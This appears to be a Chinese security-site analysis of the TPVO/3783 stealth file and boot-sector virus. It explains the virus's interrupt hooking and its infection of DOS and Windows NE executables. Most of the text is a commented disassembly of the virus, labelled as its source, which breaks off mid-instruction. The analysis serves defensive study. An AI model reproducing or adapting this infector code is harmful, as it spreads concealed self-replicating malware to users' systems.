标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-247] 作者: ecawen 发表于: [2017-08-06]
本文共 [646] 位读者顶过
病毒介绍: TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒,它的独到之处是可以传染 WINDOWS 文件,使病毒可以在 WINDOWS 执行时驻留内存。 该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序,包括.EXE.COM.OVL.386 等等文件,不传染带覆盖的文件,程序被传染后长度增加 3783 字节, 文件日期被 加上 100 年作为传染标记。 该病毒驻留内存后,用 DIR 命令看不出文件长度的变化,用 INT 13H 读出的磁盘引导记录是正常的,而不是带毒的引导记录,用应用程序读出的带毒文件也都是正常的, 但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX 七个程序读出的文件却是带毒的,所以被这些压缩程序压进文件包或用 TELIX 通过调制解调器传到其他地方的文件 是带毒的,由此可见该病毒在隐藏和传播上的用心良苦。 该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区,传染软盘引导区时隐藏于新格式化的第 81 个磁道,传染文件时附在文件尾部,病毒本身不加密。 当带毒的 WINDOWS 系统运行时,根目录中的虚拟内存文件 386SPART.PAR 属性会变成普通属性,用 DIR 命令可以列出。 病毒分析: 1. 驻留内存及截取中断 该病毒采用修改内存控制块的方法来驻留内存,如果 UMB 存在,病毒会驻留在 UMB中,该病毒驻留内存后截取 INT 21H 和 INT 13H 中断,来完成对文件和引导区的传染, 在截取 INT 21H 时,该病毒采取了与众不同的方法。下面是 INT 21H 内部片断,在中断程序完成了初始化后,将 AH 中的功能号放在 BX 中再乘 2,再用查表的办法得到相应子 程序的地址,然后用近调用来执行相应子程序,具体见下: ... FDC8:4198 8ADC MOV BL,AH ;AH 为子功能号 FDC8:419A D1E3 SHL BX,1 ;放于 BX 中再乘 2 ... FDC8:41EA 2E8B9F9E3E MOV BX,CS:[BX+3E9E] ;3E9E 为各功能地址表的基地址 FDC8:41EF 36871EEA05 XCHG BX,SS:[05EA] ;调用地址在 05EA 中 FDC8:41F4 368E1EEC05 MOV DS,SS:[05EC] FDC8:41F9 36FF16EA05 CALL SS:[05EA] ;调用相应功能的子程序 ... 病毒在驻留时先截取 INT 2AH,在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆栈段时,表示中断由 INT 21H 发出,这时由中断返回地址得到 MSDOS.SYS 程序段的段地址, 再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码,在完成修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在 INT 21H 的第一百 多句以后,当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中, 所以该病毒的截取手段有很大的欺骗性,不但能骗过几乎所有内存监视程序,而且即使用手工反汇编 INT 21H中断程序都不一定能觉察到异常之处。 在截取 INT 13H 时,病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到 DOS 内部设备驱动程序使用的原始 INT 13H 地址,然后在 BIOS 中随机寻找一个中断号大于 E0H 号的INT XX代码,将这个中断向量指向病毒的 INT 13H服务程序,然后将 DOS 保存的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令,使得在不同的计算机中指向病毒 程序的中断向量号都不相同。 2. 传染及其他部分 病毒截取 INT 13H 来传染磁盘的引导区,在进行普通的读写功能时,病毒并不传染,所以磁盘读写速度并不明显减慢,只有在对磁盘的引导区进行读写时,病毒才进行传染。 传染硬盘主引导区时,病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇区中,原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道,病毒在传染软 盘引导记录时,先格式化出一个第 81 磁道,再将自身隐藏于第 81 磁道 1 扇区开始的 8个扇区中,原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引导记录时, 病 毒将原引导记录读出送回。 病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能,在 INT 21H 的 11H、12H、4EH、4FH 匹配文件寻找功能中,病毒返回正确的文件长度和时间,在 57H 读写文 件时间功能中,病毒返回正确的文件时间,在 3FH 读文件功能中, 如果读到文件被修改的部分,病毒将返回正确的内容,在 40H 写文件功能中,如果写已被传染的文件, 病毒 将文件复原,到以后关闭文件时重新传染。结果在应用软件看来,带毒文件没有任何异常之处。 当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、56H 文件改名、4BH 执行文件时,病毒对文件进行传染,传染后病毒附于文件尾部,文件开始指针被 指向病毒入口处。对于.COM 文件,病毒将文件第一句指令改为 JMP XXXX 跳转到病毒入口处,对于普通.EXE 文件,病毒将文件入口指针指向病毒入口处, 将堆栈指向病毒尾部 200H处。 下面详细分析病毒对 WINDOWS 可执行文件的修改,由于 WINDOWS 可执行文件的资料很少见,这里先简单介绍一下 WINDOWS 文件的结构:WINDOWS 文件由 DOS 执行部分和 WINDOWS 执行部分组成,DOS 部分只是简单的打印一句提示信息即退出,WINDOWS 部分以覆盖的方式位于文件后部。文件报头分两部分,第一部分为普通的.EXE 文件报头, 第 二部分为 "NE" 新格式可执行报头,有关部分说明如下: 普通 .EXE 文件报头 18H 字 重分配表偏移( WINDOWS 文件必须大于 0040H) 3CH 双字 "NE" 可执行报头在程序中的偏移 "NE" 可执行报头 00H 2 字节 "NE" 符号 (长 40H 字节) 14H 字 程序入口 IP 16H 字 程序入口段的段地址记录号 18H 双字 程序初始 SS:SP 1CH 字 段地址表中的记录数 22H 字 段地址表在程序中的偏移 32H 字节 段大小的计数单位 (移位值) 程序中所有的段都由段地址表中的一个记录来描述,包括段在程序中的偏移、段的大小、段的属性、段装入时要分配内存的大小,执行程序时,系统由入口段的记录号查段地 址表得出这个段在程序中的位置和大小,将代码装入内存,再由入口 IP开始执行。 段地址表中每个记录占用 8 个字节,格式如下: 00H 字 本段在程序中的偏移 (乘以计数单位) 02H 字 本段的长度 (单位:字节) 04H 字 本段的属性 06H 字 要分配的容量 (单位:字节) 病毒增加了一个段地址表记录来描述病毒代码段属性,在 WINDOWS 文件中, 段地址表一般紧接着 "NE" 报头存放,段地址表后面也紧接着其他数据,中间没有多余字节,所 以病毒将整个 "NE" 报头和段地址表前移了 8 字节,然后在空出的 8 字节中写下一个新的段地址表记录, 再将程序入口段记录号改到指向这个新的记录, 具体改动的数据有: 003CH处的 "NE" 报头偏移减 8,"NE" 报头中 16H 的入口段记录号改为病毒段,1CH 的段地址表记录数加 1,另外将 04H、24H、26H、28H、2AH 中其他相关表的偏移加 8。 2. 病毒源码: ;==================================================================== ; DOS 可执行文件入口 ;==================================================================== F6C8:0000 0E PUSH CS F6C8:0001 1F POP DS F6C8:0002 E80000 CALL 0005 ;重定位 F6C8:0005 5E POP SI F6C8:0006 83EE05 SUB SI,+05 F6C8:0009 56 PUSH SI F6C8:000A 06 PUSH ES F6C8:000B B87F18 MOV AX,187F ;检测内存驻留 F6C8:000E BB5344 MOV BX,4453 F6C8:0011 CD21 INT 21 (DOS) F6C8:0013 81FBA187 CMP BX,87A1 F6C8:0017 753A JNZ 0053 F6C8:0019 07 POP ES ;已驻留 F6C8:001A 5E POP SI ;执行原程序 F6C8:001B 0E PUSH CS F6C8:001C 1F POP DS F6C8:001D 8B84870E MOV AX,[SI+0E87] F6C8:0021 E8880B CALL 0BAC F6C8:0024 740D JZ 0033 ;.EXE 文件转 0033 F6C8:0026 48 DEC AX F6C8:0027 BF0001 MOV DI,0100 ;恢复 .COM 文件头 3 字节 F6C8:002A 57 PUSH DI F6C8:002B FC CLD F6C8:002C AB STOSW F6C8:002D 8A84890E MOV AL,[SI+0E89] F6C8:0031 AA STOSB F6C8:0032 C3 RET ;执行原 .COM 文件 F6C8:0033 8CC0 MOV AX,ES ;重定位 .EXE 文件 F6C8:0035 051000 ADD AX,0010 F6C8:0038 0384950E ADD AX,[SI+0E95] F6C8:003C 8ED0 MOV SS,AX F6C8:003E 8BA4970E MOV SP,[SI+0E97] F6C8:0042 8CC0 MOV AX,ES F6C8:0044 051000 ADD AX,0010 F6C8:0047 03849D0E ADD AX,[SI+0E9D] F6C8:004B 50 PUSH AX F6C8:004C FFB49B0E PUSH WORD PTR [SI+0E9B] F6C8:0050 06 PUSH ES F6C8:0051 1F POP DS F6C8:0052 CB RETF ;执行原 .EXE 文件 ;======================================================================= ;驻留内存初始化部分 (调用: 0017) F6C8:0053 8CC0 MOV AX,ES F6C8:0055 48 DEC AX ;取 MCB F6C8:0056 E81E00 CALL 0077 ;取最后一块MCB地址 F6C8:0059 E83200 CALL 008E ;驻留内存 F6C8:005C 72BB JB 0019 F6C8:005E 8ED9 MOV DS,CX ;截取 INT 2AH F6C8:0060 B85103 MOV AX,0351 ;中断到 CS:0351 F6C8:0063 8706A800 XCHG AX,[00A8] ;由 INT 2AH 继续引导 F6C8:0067 26 ES: F6C8:0068 A33A04 MOV [043A],AX ;(转 0351) F6C8:006B 8CC0 MOV AX,ES F6C8:006D 8706AA00 XCHG AX,[00AA] F6C8:0071 26 ES: F6C8:0072 A33C04 MOV [043C],AX F6C8:0075 EBA2 JMP 0019 ;执行原程序 ;======================================================================== ;找最后一块 MCB 地址 ;返回 BX = 最后一块MCB段地址 ;调用: 0056 F6C8:0077 33FF XOR DI,DI F6C8:0079 8ED8 MOV DS,AX F6C8:007B 803D4D CMP BYTE PTR [DI],4D F6C8:007E 7405 JZ 0085 ;非最后一块转 0085 F6C8:0080 803D5A CMP BYTE PTR [DI],5A;最后一块返回 F6C8:0083 7508 JNZ 008D F6C8:0085 8BD8 MOV BX,AX F6C8:0087 034503 ADD AX,[DI+03] F6C8:008A 40 INC AX F6C8:008B EBEA JMP 0077 ;AX 为下一块 MCB 地址 F6C8:008D C3 RET ;========================================================================= ;驻留内存子程序 ;调用: 0059 F6C8:008E 8EDB MOV DS,BX F6C8:0090 8B4503 MOV AX,[DI+03] F6C8:0093 2D3801 SUB AX,0138 ;截取内存 1380H 字节 F6C8:0096 720E JB 00A6 F6C8:0098 894503 MOV [DI+03],AX F6C8:009B 03D8 ADD BX,AX F6C8:009D 43 INC BX F6C8:009E 8EC3 MOV ES,BX F6C8:00A0 B9C70E MOV CX,0EC7 ;移动病毒 0EC7 字节 F6C8:00A3 F3 REPZ ;到内存中 F6C8:00A4 2E CS: F6C8:00A5 A4 MOVSB F6C8:00A6 C3 RET ;===================================================================== ; 引导区代码部分 ;===================================================================== F6C8:00A7 FA CLI F6C8:00A8 33DB XOR BX,BX F6C8:00AA 8ED3 MOV SS,BX F6C8:00AC BC007C MOV SP,7C00 F6C8:00AF 8EC4 MOV ES,SP ;暂时将病毒读到 7C00:0000 F6C8:00B1 B80802 MOV AX,0208 F6C8:00B4 B90150 MOV CX,5001 ;硬盘为 0005 F6C8:00B7 BA0000 MOV DX,0000 ;软盘为 5001 F6C8:00BA CD13 INT 13 (BIOS Disk) F6C8:00BC 7200 JB 00BE F6C8:00BE 06 PUSH ES F6C8:00BF 68C300 PUSH 00C3 ;转高端继续执行 F6C8:00C2 CB RETF F6C8:00C3 E82701 CALL 01ED ;随机生成 INT 13H 地址 F6C8:00C6 830EA800FF OR WORD PTR [00A8],FFFF ;???? F6C8:00CB 871E4C00 XCHG BX,[004C] F6C8:00CF 2E CS: F6C8:00D0 891EF800 MOV [00F8],BX F6C8:00D4 8CC0 MOV AX,ES F6C8:00D6 87064E00 XCHG AX,[004E] ;截取 INT 13H F6C8:00DA 0E PUSH CS ;到 CS:00FC F6C8:00DB 1F POP DS F6C8:00DC A3FA00 MOV [00FA],AX ;保留原 INT 13H 到 00FA F6C8:00DF C606FF003C MOV BYTE PTR [00FF],3C F6C8:00E4 C60604013C MOV BYTE PTR [0104],3C F6C8:00E9 C6065805E8 MOV BYTE PTR [0558],E8 F6C8:00EE CD19 INT 19 (BIOS Bootstrap) ;======================================================================== ;病毒调用 INT 13H F6C8:00F0 9C PUSHF F6C8:00F1 FA CLI F6C8:00F2 0E PUSH CS F6C8:00F3 E80100 CALL 00F7 F6C8:00F6 C3 RET F6C8:00F7 EA59EC00F0 JMP F000:EC59 ;========================================================================= ; 新 INT 13H 代码部分 ;========================================================================= F6C8:00FC 83C406 ADD SP,+06 F6C8:00FF EB3D JMP 013E ===> ;本句代码当病毒从 BOOT 区 F6C8:0101 60 PUSHA ;引入时为 CMP AL,3D F6C8:0102 1E PUSH DS F6C8:0103 06 PUSH ES F6C8:0104 EB23 JMP 0129 ===> ;本句代码当病毒从 BOOT 区 F6C8:0106 6A00 PUSH 0000 ;引入时为 CMP AL,23 F6C8:0108 1F POP DS F6C8:0109 C41EA800 LES BX,[00A8] F6C8:010D 26 ES: F6C8:010E 803FCF CMP BYTE PTR [BX],CF F6C8:0111 7514 JNZ 0127 ;INT 2AH 不是 IRET F6C8:0113 2E CS: ;转 0127 (013B) 执行 F6C8:0114 891E3A04 MOV [043A],BX F6C8:0118 2E CS: F6C8:0119 8C063C04 MOV [043C],ES ;设置 BOOT 引入 INT 2A F6C8:011D C706A8008603 MOV WORD PTR [00A8],0386 ;到 CS:0386 F6C8:0123 8C0EAA00 MOV [00AA],CS F6C8:0127 EB12 JMP 013B ;=========================================================================== F6C8:0129 B80312 MOV AX,1203 F6C8:012C CD2F INT 2F (Multiplex) F6C8:012E 8CD8 MOV AX,DS F6C8:0130 3D1001 CMP AX,0110 ===> ;本数据由 039B 填入 F6C8:0133 7406 JZ 013B ;为初始化时 MSDOS.SYS 数据段 F6C8:0135 2E CS: F6C8:0136 C60604013C MOV BYTE PTR [0104],3C F6C8:013B 07 POP ES F6C8:013C 1F POP DS F6C8:013D 61 POPA ;============================================================================ ; 新 INT 13H 代码部分 F6C8:013E 80FC02 CMP AH,02 F6C8:0141 72B4 JB 00F7 F6C8:0143 80FC03 CMP AH,03 F6C8:0146 77AF JA 00F7 F6C8:0148 83F901 CMP CX,+01 F6C8:014B 75AA JNZ 00F7 F6C8:014D 0AF6 OR DH,DH F6C8:014F 75A6 JNZ 00F7 F6C8:0151 80FA80 CMP DL,80 ;不是读引导区 F6C8:0154 77A1 JA 00F7 ;转原 INT 13H F6C8:0156 E897FF CALL 00F0 ;读出引导区 F6C8:0159 7235 JB 0190 F6C8:015B 60 PUSHA F6C8:015C 1E PUSH DS F6C8:015D 06 PUSH ES F6C8:015E 9C PUSHF F6C8:015F 06 PUSH ES F6C8:0160 8BF3 MOV SI,BX F6C8:0162 06 PUSH ES F6C8:0163 1F POP DS F6C8:0164 BF7711 MOV DI,1177 F6C8:0167 0E PUSH CS F6C8:0168 07 POP ES F6C8:0169 B90001 MOV CX,0100 ;保存原引导区到 F6C8:016C F3 REPZ ;CS:1177 F6C8:016D A5 MOVSW F6C8:016E 0E PUSH CS F6C8:016F 1F POP DS F6C8:0170 BF7711 MOV DI,1177 F6C8:0173 817D468EC4 CMP WORD PTR [DI+46],C48E F6C8:0178 07 POP ES F6C8:0179 7518 JNZ 0193 ;未感染转 0193 F6C8:017B B80102 MOV AX,0201 ;已感染则读出 F6C8:017E 8B4D4C MOV CX,[DI+4C] ;原引导区 F6C8:0181 8A7550 MOV DH,[DI+50] F6C8:0184 80C108 ADD CL,08 F6C8:0187 9D POPF F6C8:0188 E865FF CALL 00F0 F6C8:018B 9C PUSHF F6C8:018C 9D POPF F6C8:018D 07 POP ES F6C8:018E 1F POP DS F6C8:018F 61 POPA F6C8:0190 CA0200 RETF 0002 ;========================================================================= ;病毒传染引导区代码部分 F6C8:0193 0E PUSH CS F6C8:0194 07 POP ES F6C8:0195 B90500 MOV CX,0005 F6C8:0198 0AD2 OR DL,DL F6C8:019A 7812 JS 01AE ;硬盘转 01AE F6C8:019C B80A05 MOV AX,050A ;传染软盘引导区部分 F6C8:019F B550 MOV CH,50 ;格式化第 50H 磁道 F6C8:01A1 32F6 XOR DH,DH F6C8:01A3 BB4D0E MOV BX,0E4D F6C8:01A6 E847FF CALL 00F0 F6C8:01A9 7240 JB 01EB F6C8:01AB B90150 MOV CX,5001 F6C8:01AE 890EB500 MOV [00B5],CX F6C8:01B2 52 PUSH DX F6C8:01B3 80E280 AND DL,80 F6C8:01B6 8916B800 MOV [00B8],DX F6C8:01BA 5A POP DX F6C8:01BB B80803 MOV AX,0308 ;写病毒到磁盘 F6C8:01BE 33DB XOR BX,BX F6C8:01C0 E82DFF CALL 00F0 F6C8:01C3 7226 JB 01EB F6C8:01C5 B80103 MOV AX,0301 ;保存原引导区 F6C8:01C8 BB7711 MOV BX,1177 F6C8:01CB 80C108 ADD CL,08 F6C8:01CE E81FFF CALL 00F0 F6C8:01D1 7218 JB 01EB F6C8:01D3 C707EB3C MOV WORD PTR [BX],3CEB F6C8:01D7 BEA700 MOV SI,00A7 F6C8:01DA 8D7F3E LEA DI,[BX+3E] F6C8:01DD B91C00 MOV CX,001C F6C8:01E0 F3 REPZ F6C8:01E1 A4 MOVSB F6C8:01E2 B80103 MOV AX,0301 F6C8:01E5 B90100 MOV CX,0001 F6C8:01E8 E805FF CALL 00F0 ;写病毒到引导区 F6C8:01EB EB9F JMP 018C ;返回调用处 ;======================================================================== ;随机生成一个 INT 13H 地址 ;调用: 00C3 0369 ;有二种方式 1. 在 BIOS 中找一个 > 80号的 INT XX 代码 ; 将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码 ; 2. 在 0000:04FB 中写下 JMP 原 INT 13 ; 再将 INT 13 指向 0000:04FB F6C8:01ED 33F6 XOR SI,SI F6C8:01EF B800F0 MOV AX,F000 F6C8:01F2 8ED8 MOV DS,AX F6C8:01F4 8EC0 MOV ES,AX F6C8:01F6 4E DEC SI F6C8:01F7 741F JZ 0218 F6C8:01F9 803CCD CMP BYTE PTR [SI],CD F6C8:01FC 75F8 JNZ 01F6 ;找一个 INT 代码 F6C8:01FE 3A4401 CMP AL,[SI+01] F6C8:0201 73F3 JNB 01F6 F6C8:0203 807C01E0 CMP BYTE PTR [SI+01],E0 F6C8:0207 73ED JNB 01F6 ;小于 INT E0 继续找 F6C8:0209 864401 XCHG AL,[SI+01] F6C8:020C 864401 XCHG AL,[SI+01] F6C8:020F 3A4401 CMP AL,[SI+01] ;保存 INT 号于 AL 中 F6C8:0212 75E2 JNZ 01F6 ;不在 BIOS 中继续找 F6C8:0214 8BDE MOV BX,SI ;保存地址于 BX 中 F6C8:0216 EBDE JMP 01F6 F6C8:0218 8EDE MOV DS,SI F6C8:021A 3C80 CMP AL,80 ;在 BIOS 中未找到 F6C8:021C 720C JB 022A ;INT ?? 代码转 022A F6C8:021E 2E CS: F6C8:021F C606FE0006 MOV BYTE PTR [00FE],06 ;ADD SP,6 F6C8:0224 B404 MOV AH,04 ;丢弃 INT XX 之返回地址 F6C8:0226 F6E4 MUL AH ;AX 为中断向量表中地址 F6C8:0228 EB14 JMP 023E F6C8:022A 2E CS: F6C8:022B C606FE0000 MOV BYTE PTR [00FE],00 F6C8:0230 6A00 PUSH 0000 F6C8:0232 1F POP DS ;在 0000:04FB 中写下 F6C8:0233 1E PUSH DS ;代码 JMP CS:00FC F6C8:0234 07 POP ES F6C8:0235 BBFB04 MOV BX,04FB F6C8:0238 C607EA MOV BYTE PTR [BX],EA F6C8:023B B8FC04 MOV AX,04FC F6C8:023E 2E CS: F6C8:023F A34502 MOV [0245],AX F6C8:0242 EB00 JMP 0244 F6C8:0244 BE0003 MOV SI,0300 ;值由上决定 F6C8:0247 C704FC00 MOV WORD PTR [SI],00FC F6C8:024B 8C4C02 MOV [SI+02],CS ;设新 INT 13H 向量 F6C8:024E C3 RET ;到 CS:00FC ;========================================================================== F6C8:024F 50 PUSH AX ;不详 F6C8:0250 51 PUSH CX F6C8:0251 52 PUSH DX F6C8:0252 B91000 MOV CX,0010 F6C8:0255 F7E1 MUL CX F6C8:0257 8BCA MOV CX,DX F6C8:0259 92 XCHG AX,DX F6C8:025A B80700 MOV AX,0007 F6C8:025D CD31 INT 31 (DPMI API) F6C8:025F 5A POP DX F6C8:0260 59 POP CX F6C8:0261 58 POP AX F6C8:0262 C3 RET ;========================================================================== ; WINDOWS 文件开始执行入口 ;========================================================================== F6C8:0263 60 PUSHA F6C8:0264 1E PUSH DS F6C8:0265 06 PUSH ES F6C8:0266 E80000 CALL 0269 ;重定位 F6C8:0269 5E POP SI F6C8:026A 81EE6902 SUB SI,0269 F6C8:026E B87F18 MOV AX,187F ;内存驻留校验 F6C8:0271 BB5344 MOV BX,4453 F6C8:0274 CD21 INT 21 (DOS) F6C8:0276 81FBA187 CMP BX,87A1 F6C8:027A 7503 JNZ 027F ;已驻留转 0328 F6C8:027C E9A900 JMP 0328 F6C8:027F 33C0 XOR AX,AX ; F6C8:0281 B90100 MOV CX,0001 F6C8:0284 CD31 INT 31 (DPMI API) F6C8:0286 93 XCHG AX,BX F6C8:0287 B80800 MOV AX,0008 F6C8:028A CD31 INT 31 (DPMI API) F6C8:028C 40 INC AX F6C8:028D B1F2 MOV CL,F2 F6C8:028F CD31 INT 31 (DPMI API) F6C8:0291 8EDB MOV DS,BX F6C8:0293 B452 MOV AH,52 F6C8:0295 CD21 INT 21 (DOS) F6C8:0297 26 ES: F6C8:0298 8B47FE MOV AX,[BX-02] F6C8:029B 33FF XOR DI,DI F6C8:029D 33D2 XOR DX,DX F6C8:029F 8CDB MOV BX,DS F6C8:02A1 E8ABFF CALL 024F F6C8:02A4 803D4D CMP BYTE PTR [DI],4D F6C8:02A7 7405 JZ 02AE F6C8:02A9 803D5A CMP BYTE PTR [DI],5A F6C8:02AC 7521 JNZ 02CF F6C8:02AE 8BE8 MOV BP,AX F6C8:02B0 8B4508 MOV AX,[DI+08] F6C8:02B3 0D2020 OR AX,2020 F6C8:02B6 3D7769 CMP AX,6977 F6C8:02B9 750C JNZ 02C7 F6C8:02BB 8B450A MOV AX,[DI+0A] F6C8:02BE 0C20 OR AL,20 F6C8:02C0 3D6E00 CMP AX,006E F6C8:02C3 7502 JNZ 02C7 F6C8:02C5 8BD5 MOV DX,BP F6C8:02C7 8BC5 MOV AX,BP F6C8:02C9 034503 ADD AX,[DI+03] F6C8:02CC 40 INC AX F6C8:02CD EBD0 JMP 029F F6C8:02CF 95 XCHG AX,BP F6C8:02D0 E87CFF CALL 024F F6C8:02D3 816D033801 SUB WORD PTR [DI+03],0138 F6C8:02D8 034503 ADD AX,[DI+03] F6C8:02DB 40 INC AX F6C8:02DC E870FF CALL 024F F6C8:02DF 8EC3 MOV ES,BX F6C8:02E1 95 XCHG AX,BP F6C8:02E2 B80A00 MOV AX,000A F6C8:02E5 8CCB MOV BX,CS F6C8:02E7 CD31 INT 31 (DPMI API) F6C8:02E9 8ED8 MOV DS,AX F6C8:02EB B97D0E MOV CX,0E7D F6C8:02EE F3 REPZ F6C8:02EF A4 MOVSB F6C8:02F0 8CDB MOV BX,DS F6C8:02F2 91 XCHG AX,CX F6C8:02F3 E859FF CALL 024F F6C8:02F6 B85103 MOV AX,0351 F6C8:02F9 8706A800 XCHG AX,[00A8] F6C8:02FD 26 ES: F6C8:02FE A33A04 MOV [043A],AX F6C8:0301 55 PUSH BP F6C8:0302 872EAA00 XCHG BP,[00AA] F6C8:0306 26 ES: F6C8:0307 892E3C04 MOV [043C],BP F6C8:030B 5D POP BP F6C8:030C 92 XCHG AX,DX F6C8:030D 0BC0 OR AX,AX F6C8:030F 7417 JZ 0328 F6C8:0311 E83BFF CALL 024F F6C8:0314 B83003 MOV AX,0330 F6C8:0317 87061A00 XCHG AX,[001A] F6C8:031B 26 ES: F6C8:031C A34D03 MOV [034D],AX F6C8:031F 872E1C00 XCHG BP,[001C] F6C8:0323 26 ES: F6C8:0324 892E4F03 MOV [034F],BP F6C8:0328 07 POP ES F6C8:0329 1F POP DS F6C8:032A 61 POPA F6C8:032B EA0000FFFF JMP FFFF:0000 F6C8:0330 50 PUSH AX F6C8:0331 1E PUSH DS F6C8:0332 6A00 PUSH 0000 F6C8:0334 1F POP DS F6C8:0335 B88603 MOV AX,0386 F6C8:0338 8706A800 XCHG AX,[00A8] F6C8:033C 2E CS: F6C8:033D A33A04 MOV [043A],AX F6C8:0340 8CC8 MOV AX,CS F6C8:0342 8706AA00 XCHG AX,[00AA] F6C8:0346 2E CS: F6C8:0347 A33C04 MOV [043C],AX F6C8:034A 1F POP DS F6C8:034B 58 POP AX F6C8:034C EAB1022805 JMP 0528:02B1 ;========================================================================== ; 文件驻留引入 INT 2A 代码部分 ; 初始化时使用 ;========================================================================== F6C8:0351 60 PUSHA F6C8:0352 1E PUSH DS F6C8:0353 06 PUSH ES F6C8:0354 2E CS: F6C8:0355 C606FF00EB MOV BYTE PTR [00FF],EB ;INT 13H F6C8:035A 2E CS: ;不检测 F6C8:035B C60658053D MOV BYTE PTR [0558],3D ;INT 21H 不检测 F6C8:0360 B80016 MOV AX,1600 ;WINDOWS 增强模式检验 F6C8:0363 CD2F INT 2F F6C8:0365 0AC0 OR AL,AL F6C8:0367 7505 JNZ 036E ;WINDOWS 运行转 036E F6C8:0369 E881FE CALL 01ED ;随机生成 INT 13H 地址 F6C8:036C EB03 JMP 0371 F6C8:036E E8B9FE CALL 022A ;随机生成 INT 13H 地址 F6C8:0371 B80013 MOV AX,1300 ;取得原 INT 13H 地址 F6C8:0374 8BD3 MOV DX,BX ;并设置新 INT 13H 地址 F6C8:0376 06 PUSH ES F6C8:0377 1F POP DS ;INT 2F 之 1300 功能 F6C8:0378 CD2F INT 2F ;入口 ES:BX 及 DS:DX F6C8:037A 2E CS: ;为新 INT 13H 地址 F6C8:037B 8916F800 MOV [00F8],DX ;出口 ES:BX 及 DS:DX F6C8:037F 2E CS: ;为旧 INT 13H 地址 F6C8:0380 8C1EFA00 MOV [00FA],DS F6C8:0384 EB03 JMP 0389 ;转截取 INT 21H (0389) ;========================================================================== ;BOOT 引导驻留引入 INT 2A 入口 F6C8:0386 60 PUSHA F6C8:0387 1E PUSH DS F6C8:0388 06 PUSH ES ;========================================================================== ;截取 INT 21H 代码部分 F6C8:0389 B80312 MOV AX,1203 ;取 MSDOS.SYS 数据段地址 F6C8:038C CD2F INT 2F ;返回段地址 = DS F6C8:038E 8CD8 MOV AX,DS F6C8:0390 8CD6 MOV SI,SS F6C8:0392 2BF0 SUB SI,AX F6C8:0394 7403 JZ 0399 ;在 MSDOS.SYS 中执行 F6C8:0396 E99D00 JMP 0436 ;转 0399, 否则退出 F6C8:0399 0E PUSH CS F6C8:039A 1F POP DS F6C8:039B A33101 MOV [0131],AX F6C8:039E C606C00DEB MOV BYTE PTR [0DC0],EB F6C8:03A3 C6060401EB MOV BYTE PTR [0104],EB F6C8:03A8 C4063A04 LES AX,[043A] F6C8:03AC 8EDE MOV DS,SI F6C8:03AE A3A800 MOV [00A8],AX F6C8:03B1 8C06AA00 MOV [00AA],ES ;恢复原 INT 2A 中断向量 F6C8:03B5 8BEC MOV BP,SP F6C8:03B7 8E5E16 MOV DS,[BP+16] ;调用代码段 F6C8:03BA 83FE80 CMP SI,-80 ;为 INT 21 的代码段 F6C8:03BD 7777 JA 0436 F6C8:03BF AC LODSB F6C8:03C0 3C2E CMP AL,2E ;找 2E 8B 9F xx xx F6C8:03C2 75F6 JNZ 03BA ;即 MOV BX,CS:[BX+xxxx] F6C8:03C4 AD LODSW F6C8:03C5 3D8B9F CMP AX,9F8B F6C8:03C8 75F0 JNZ 03BA F6C8:03CA AD LODSW ;此地址为 INT 21 功能=>子程序 F6C8:03CB 2E CS: ;转换表基址 F6C8:03CC A35111 MOV [1151],AX ;保存地址于 1151 F6C8:03CF B93000 MOV CX,0030 F6C8:03D2 4E DEC SI F6C8:03D3 AD LODSW F6C8:03D4 3D871E CMP AX,1E87 ;找 87 1E (XCHG BX,SS:[xxxx]) F6C8:03D7 E0F9 LOOPNE 03D2 F6C8:03D9 E3DF JCXZ 03BA F6C8:03DB AD LODSW F6C8:03DC 2E CS: F6C8:03DD A35311 MOV [1153],AX ;调用 INT 21 子功能地址 F6C8:03E0 46 INC SI ;找 36 FF 16 xx xx F6C8:03E1 813C36FF CMP WORD PTR [SI],FF36 F6C8:03E5 E0F9 LOOPNE 03E0 ;即 CALL SS:[xxxx] F6C8:03E7 E3D1 JCXZ 03BA F6C8:03E9 807C0216 CMP BYTE PTR [SI+02],16 F6C8:03ED 75F1 JNZ 03E0 F6C8:03EF 394403 CMP [SI+03],AX ;将 CALL SS:[xxxx] F6C8:03F2 75EC JNZ 03E0 ;改为 CALL CS:053D F6C8:03F4 C6049A MOV BYTE PTR [SI],9A ;截取新 INT 21 F6C8:03F7 C744013D05 MOV WORD PTR [SI+01],053D ;到 CS:053D F6C8:03FC 8C4C03 MOV [SI+03],CS F6C8:03FF 2E CS: F6C8:0400 89365B11 MOV [115B],SI F6C8:0404 83FE80 CMP SI,-80 F6C8:0407 772D JA 0436 F6C8:0409 4E DEC SI F6C8:040A AD LODSW F6C8:040B 3DFB80 CMP AX,80FB ;找 FB 80 FC 11 75 0A C0 74 F6C8:040E 75F4 JNZ 0404 ;即 CMP AH,11/JNZ XXXX F6C8:0410 813CFC11 CMP WORD PTR [SI],11FC ;OR AL,AL/JZ XXXX F6C8:0414 75EE JNZ 0404 ;此代码为 INT 2F F6C8:0416 817C02750A CMP WORD PTR [SI+02],0A75 ;中断的开始代码 F6C8:041B 75E7 JNZ 0404 F6C8:041D 817C05C074 CMP WORD PTR [SI+05],74C0 F6C8:0422 75E0 JNZ 0404 F6C8:0424 4E DEC SI F6C8:0425 C6049A MOV BYTE PTR [SI],9A ;截取新 INT 2F F6C8:0428 C744013E04 MOV WORD PTR [SI+01],043E ;到 CS:043E F6C8:042D 8C4C03 MOV [SI+03],CS ;改为 CALL CS:043E F6C8:0430 4E DEC SI F6C8:0431 2E CS: F6C8:0432 